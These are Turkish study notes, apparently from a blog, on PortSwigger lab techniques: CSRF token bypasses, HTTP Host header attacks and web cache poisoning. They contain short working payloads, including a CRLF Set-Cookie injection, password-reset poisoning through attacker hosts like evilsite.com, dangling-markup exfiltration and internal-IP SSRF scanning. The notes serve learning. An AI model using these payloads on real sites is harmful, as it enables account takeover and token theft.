Kategori: PortSwigger

CSRF Saldırıları Notlar

document.forms[0].submit();

  1. Requestin Metodu değişince CSRF kontrolünü bırakabilir.
  2. CSRF tokeni varken kontrol edebilir ama olmaması durumunda bypass edilebilir. Yani requestten tamamen silip bypass edilebilir.
  3. CSRF token belli bir kullanıcının sessionu ile ilişkili olmayabilir. Bir kullanıcı kendi hesabının CSRF tokeni ile başka kullanıcıya işlem yaptırabilir.
  4. CSRF token is tied to a non-session cookie ⇒ Bu tipte şöyle bir kontrol yaptık. Cookie’de geçen csrf ile sessiondaki csrf birbirine ne kadar bağlı. Bunu test etmek için sessionu değiştirdiğimizde unauthorized hatası alırken CSRF değiştirdiğimizde invalid csrf hatası aldık. Bu çok da bağlı olmayabileceğini bize gösterdi. Bu durumda başka bir kullanıcının CSRF cookie’si ile csrf kodunu kullanırsak sessiona bağlı olmadığı için başarılı şekilde işlemi yapabileceğimiz anlamına geliyor. İki farklı kullanıcı ile deneyince bunun doğru olduğunu gördük. Şimdi geriye saldırganın aldığı cookie csrf tokenini kurbanın header’ına eklemek kaldı. Bunun için search fonksiyonunu kullanıyoruz. Buraya arayacağımız terimi girdiğimizde cookie’mizde bunun yer aldığını gördük. Biz de search kısmını /?search=test%0d%0aSet-Cookie:%20csrfKey=L6qMebH75fU5y31rVB0dqr573JyxuP8a bu şekilde değiştirdik. Böylece cookie eklenince response tarafında Set-Cookie: test Set-Cookie: csrfKey = …. Şeklinde hedaer oluşturuldu. Böylece biz kurbanın headerına saldırganın csrf’ini ekleyebilmiş olduk. Daha sonra da saldırganın tokenini kullanan bir formla kurbanın tıklamasını sağlayınca emaili değiştirebildik. Bu payloadda %0d%0a önemli çünkü alt satıra geçiriyor
  5. CSRF token is simply duplicated in a cookie ⇒ Eğer csrf kontrolü arkada session ile bağlantılı bir şekilde tutulmuyor da cookie’de saklanıyor ve bununla eşleşme kontrol ediliyorsa, bir önceki zaafiyetteki gibi set cookie işlevi olan bir yerden kurbanın cookielerine istediğimiz csrf bilgisini set edip bunu formda geçirerek işlem yapabiliriz.
  6. Referer Header ⇒ Bazı uygulamalar csrf koruması amacıyla HTTP Referer headerını kullanılır. Buna bağlı kontrollerde zayıflıklardan bir tanesi referer header’ının gönderilmesi ama dolu mu boş mu olduğunun kontrol edilmemesi durumudur. Bunu test etmek için PoC mizin başına <meta name=”referrer” content=”no-referrer”> tagını ekleyebiliriz.
  7. Referer tabanlı korumalarda bir de referer kısmının kontrolünde zayıflıklar olabilir. Örnek olarak referer hedaerındaki değerin, ana domaini içerip içermediğini veya değerin başlangıç kısmının ana domain olup olmadığını kontrol ediyor olabilir. Böyle durumlarda da saldırgan sitenin sonuna veya başına kurban site eklenerek saldırı gerçekleştirilebilir.
  8. Bu saldırı genelde email veya password değiştirme amacıyla kullanılır.

HTTP Host Header Attack

Hatırlanması Gereken Pratik Noktalar

  1. Host hedaerını test ederken önce tamamen değişik bir host girmeyi deneyebiliriz.
  2. Hata alıyorsak header sabit kalırken yanına port kısmına port yerine :port şeklinde farklı birşeyler girebiliriz.
  3. Bu da olmazsa hostu içeren notvuln-site.com gibi bir yeni site adresi deneyebiliriz.
  4. Denenebilecek bir diğer konu da Host headerını tekrar yazmak. Bazı yorumlayıcılar ikincisini esas alabiliyor.
    1. Bunu denerken birinci hostun başına boşluk koyarak da deneyebiliriz.
  5. Daha sonra denenebilecek bir diğer konu da requestte / ile gösterilen kısmı tam url yapıp host headerındaki kontrolü atlatmaya çalışmak.
  6. Host header yerine localhost veya local ip’lerden birisini veya sitenin ip’sini girmeyi de deneyebiliriz. Bu da erişilemeyecek kısımlara erişmemizi sağlayabilir.
  7. Son yöntem de X-Forwarded-Host , X-Forwarded-Server, X-HTTP-Host-Override ve Forwarded Headerlerını set ederek Host headerını override etmeyi deneyebiliriz.
  8. Bu saldırıların çalışması için host header’ının bir yerde kullanılıyor ve yansıtılıyor olması gerekir. Örnek olarak password sıfırlamada bu header kullanılabilir veya mail atarken kullanılabilir veya cachelenen bir veride kullanılabilir.

Bu saldırı header kısmındaki Host headerını kullanarak yapılır. Bir ip adresinde, bir sunucuda birden fazla site barındığı için bu host hedaerları kullanılabilir. Sunucu bu header yardımıyla veya load balancer bu header yardımıyle yönlendirmeler yapabilir. Bu yüzden bu header’dan zaafiyetler çıkabilir karşımıza.

  1. Host headerını değiştirip sitenin nasıl davrandığına bakabiliriz. Bazen sistemler bu alanda bozulma olduğunda ne yapacağını bilemediği için bir varsayılan veya fallback adresine yönlendirir. Bazen de Invalid Host Header hatası gelir.
  2. Bazı SSRF teknikleri, eksik kontrol sebebiyle uygulanabilir olur. Örnek olarak port kısmından payload gönderebilir ⇒ vuln-site.com:bad-stuf-here veya aynı domaini içeren başka bir domainle host değiştirilebilir ⇒ notvuln-site.com veya daha güvensiz bir subdomain ile bu kısım atlatılabilir ⇒ hacked.vuln-site.com
  3. Belirsiz Host hedaerları gönderilebilir.
  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded

Öncelikle Host Header saldırılarını mümkün kılan headerdan bahsedelim. IPV4 sayısının kısıtlı olmasından dolayı artık bir makinede birden fazla web uygulaması barınabiliyor. Bu yüzden load balancer’lar reverse proxy’ler vs bu headerı kullanarak ayırt edebiliyor.

Bu headerı kullanarak password reset saldırıları, SSRF saldırıları ve XSS’den SQL injection’a kadar birçok soruna sebep olabilir.

Saldırılarda kullanılan temel yöntemler :

  1. Host headerı doğrudan değiştirmek
  2. Host hedaerın altına bir tane daha host yazıp tepkisini görmek
    1. Bunu denerken ilk headerın başına boşluk koymak da denenebilir.
  3. Host headerın adresin sonuna port eklemek :port şeklinde istediğimizi yazıp yazamadığımıza bakabiliriz.
  4. X-Forwarded-Host gibi headerlarla override etmek
  5. GET /admin HTTP/1.1 adresindeki “/” kısmını tam URL ile değiştirdiğimizde bazı sunucular Host kısmını kontrol etmez. Böylece oraya yazdığımız kısmı istediğimiz gibi değiştirip SSRF yaptırabiliriz.
  6. Host kısmına localhost veya networkün içindeki iplerden bir tanesini girmek 192.168.0.32 örneği gibi.

Saldırıların genel mantığı bu header’ın kullanılması esnasında yetersiz kontrol yapılmasından kaynaklanır.

Labların içerikleri :

  • Password reset using host : Password reset token gönderen yerde hostu değiştirip passwordu bizim adresimize göndermesini sağlayabiliriz. Örnek olarak hoste evilsite.com girdiğimizde tokeni evilsite.com/forgot-password?token=sakdh2131khkljh12g3jk şeklinde gönderebilir. Kullanıcı da bilmeden bu linke tıklarsa bizim sitemize böyle bir istek atmış olur ve biz de tokeni öğrenmiş oluruz.
  • Password reset using host and middleware : Password tokeni gönderen isteğin Host headerını X-Forwarded-For ile tekrar yazıp bir önceki labda uyguladığımız sistemi uyguladık. Başka bir kullanıcının kullanıcı adını girerek hostu değiştirip token elde etmiş olduk.
  • Password reset dangling html : Burada password reset yapmak istediğimizde bir token gelmediğini onun yerine mail olarak yeni passwordun geldiğini gördük. Ancak kullanılan antivirüs, mailin içindeki linklere otomatik tıklayıp zararlı olup olmadığını kontrol ediyordu. Bu yüzden biz de password reset işlemini yapan yerde yukarıdaki payload yöntemlerini denedik ancak yalnızca site.com:port değişikliğinde sunucunun sorun çıkartmadığını gördük. Bu durumda da port yerine ‘ ><a href=”//zararlisite.com/? şeklinde belirsiz html’i gömdük. Daha sonra da bunu kullanıcıya mail olarak attık. Kullanıcının antivirüsü hem linke otomatik olarak tıkladı ve şifre dahil bütün bilgiler bizim sitemize istek şeklinde gelmiş oldu.
  • Bu labda web cache poisoning amacıyla host headerini kullanıyoruz. Bir js kaynağını host headerından aldığını gördüğümüzde cachelenen değeri değiştirmek için host headerının altına tekrar bir host yazıp bunun değerini : evilsite.com şeklinde değiştirip arka arkaya istek gönderiyoruz.
  • Authentication Bypass with Host Header Attack : Bu labda da admin paneline girip bir kullanıcı silmemiz gerekiyordu. Host headerini değiştirip istek sanki admin panelinden gelmiş gibi gösteriyoruz. Böylece host değerinde admin panelden geldiğimizi gören sunucu admin olarak giriş yapmış olduğumuzu varsayıp hem paneli görmemize hem de kullanıcıyı silmemize izin veriyor.
  • Routing Based SSRF : Bu labda da admin paneline gitmek istediğimizde yalnızca içerideki kullanıcıların bu panele erişebileceği uyarısını alıyoruz. Bunu aşmak için Intruder kullanıyoruz. Intruderda host kısmını değiştirerek 192.168.0.0/24 bu range aramasını sağlıyoruz. Bir ip değerinde 200 döndüğünü görünce SSRF gerçekleşmiş oluyor ve böylece admin paneline içeriden bir ip ile erişmiş oluyoruz.
  • SSRF via flawed request parsing : Bu labda da Host headerını değiştirmek istediğimizde her sefer hata aldığımızı görüyoruz. Bu noktada da requestin metotdan sonraki kısmını değiştirmeyi deniyoruz. Bu kısmı tam olarak https://URL.com/ gibi tam url ile sonunda / olacak şekilde değiştiriyoruz. Böyle yaptığımızda host headerindeki değişikliklerin hata vermediğini gördük. Şimdi burası sabit dururken admin paneline erişmek için bir önceki SSRF mantığını deniyoruz ve attığımız istekte /admin ile tam url’yi giriyoruz ve bir ip değerinde 200 görüyoruz. Admin paneline erişmiş oluyoruz.

Web Cache Poisoning

Bir saldırganın bir web sitesinin önbelleğini değiştirerek kullanıcılara zararlı bir HTTP cevabı döndürmesiyle olur.

Temel olarak, web önbellek zehirlenmesi iki aşamadan oluşur. İlk olarak, saldırganın, yanlışlıkla bir tür tehlikeli yük içeren arka uç sunucudan nasıl yanıt alacağını bulması gerekir. Başarılı olduklarında, yanıtlarının önbelleğe alındığından ve ardından amaçlanan mağdurlara sunulduğundan emin olmaları gerekir.

Bu açık bulunduğunda XSS gibi open redirect gibi açıklara da sebep olabilir.Konuyla ilgili araştırma yazıları :

https://portswigger.net/research/practical-web-cache-poisoning

https://portswigger.net/research/web-cache-entanglement

Cacheler Nasıl Çalışır?

Sunucular her isteğe tekrardan sayfayı yükleseydi bu yavaşlığa sebep olurdu. Bu yüzden cache mekanizması vardır.

Cache kullanıcılarla sunucu arasında durur. Yapılan isteğin bir kopyası oluşturulur ve belli bir süre değişiklik olmadığı sürece bu cache, o sabit isteği yapanlara otomatik gönderilir.

Bir kullanıcı bir sayfaya istek yaptığında öncelikle bu sayfanın önbelleklenmiş bir versiyonu var mı ona bakılır. Bunun için de cache key kullanılır. Kullanıcının headerda ilettiği veriler kontrol edilir. Eğer cache edilmiş isteklerde bu keylerle eşleşen bir kopya varsa doğrudan kullanıcıya o gönderilir. Eşleşen bir cevap yoksa bu unkeyed istektir. Buradaki önemli nokta eğer böyle bir eşleşen cache varsa diğer bütün bileşenler önemsiz olur ve o cache’nin süresi dolana kadar hep o cevabın kopyaları gönderilir.

Web Cache Poisoning Saldırısının Etkileri Nelerdir?

Saldırgan neyi önbellekleyebilir?

Bu payloadın zararlılığına bağlıdır. Ancak genellikle diğer saldırıların dağıtımını sağlamak için kullanılır.

Saldırı yalnızca önbelleğe alınan sayfaya erişen insanlara ulaşacağı için sayfanın aldığı trafiğe bağlı olarak da zarar değişebilir. Saldırgan büyük bir sitenin anasayfasını zehirlerse kısa sürede yayılmaya sebep olabilir.

Ayrıca cache süresi kesinlikle hasarı etkileyecek diye bir şey yoktur. Saldırı tekrar kendini zehirleyecek şekilde yapılabilir.

Web Poisoning Attack

3 aşamadan oluşur :

  1. Unkeyed inputların bulunması : Herhangi bir web önbellek zehirlenmesi saldırısı, başlıklar gibi anahtarlanmamış girdilerin manipüle edilmesine dayanır. Web önbellekleri, kullanıcıya önbelleğe alınmış bir yanıt sunup sunmamaya karar verirken anahtarlanmamış girdileri yok sayar. Bu davranış, bunları yükünüzü enjekte etmek için kullanabileceğiniz ve önbelleğe alınırsa, istekleri eşleşen önbellek anahtarına sahip tüm kullanıcılara sunulacak “zehirli” bir yanıt ortaya çıkarabileceğiniz anlamına gelir. Bu nedenle, bir web önbelleğini zehirleme saldırısı oluştururken ilk adım, sunucu tarafından desteklenen anahtarlanmamış girdileri belirlemektir. İsteklere rastgele inputlar ekleyerek headerları değiştirerek unkeyed inputları saptayabiliriz. Yeni inputları girdiğimizde bu o inputların yansıtılmasından, başka bir cevap döndürülmesine kadar etkilere sebep olabilir. Bazen de kolayca farkedilmeyecek etkiler oluşabilir. Burada biraz manuel çaba gereklidir.Bu amaç için burp suite param miner kullanılabilir. Param miner çalıştırıldığında kendisi requestlere içindeki header listesini dener ve farklılıkları gözlemleyerek unkeyed header’ları bulur. Ama live sitede denerken cache key kullanmak başkalarının bizim denemelerimizi içeren cachelere erişmesini engeller. Param minerda ise cache buster seçeneği vardır.
  2. Sunucudan zararlı bir yanıt almak :Sunucunun bu unkeyed inputu nasıl değerlendirdiğini öğrenmek gerekir. Eğer yeterince dikkat edilmeden bu input yansıtılıyorsa veya başka verilerin oluşturulmasına sebep oluyorsa burada açık var demektir.
  3. Yanıtın Önbelleğe Alınması : Zararlı payload yüklendikten sonra en önemli konu bu yanıtın önbelleklenmesidir. Önbelleklenme file extension, content type, route, status code, and response headers gibi birçok konuya bağlıdır. Önbelleklemenin tam olarak nasıl çalıştığını öğrenmek ve nelere bağlı olduğunu öğrenmek için biraz sayfalarda gezinmek gerekecektir.
Cache Poisoning Nasıl Engellenir ?

Eğer mümkünse veriler hiç önbelleğe alınmayabilir. Cache kullanılacaksa da saldırganın statik kaynakları, sahtesiyle yer değiştirmesi engellenmelidir. Buradaki önemli konu kullanılan üçüncü taraf yazılımlara güvenilmesidir. Eğer bir header sitenin çalışması için önemli değilse disable edilmelidir.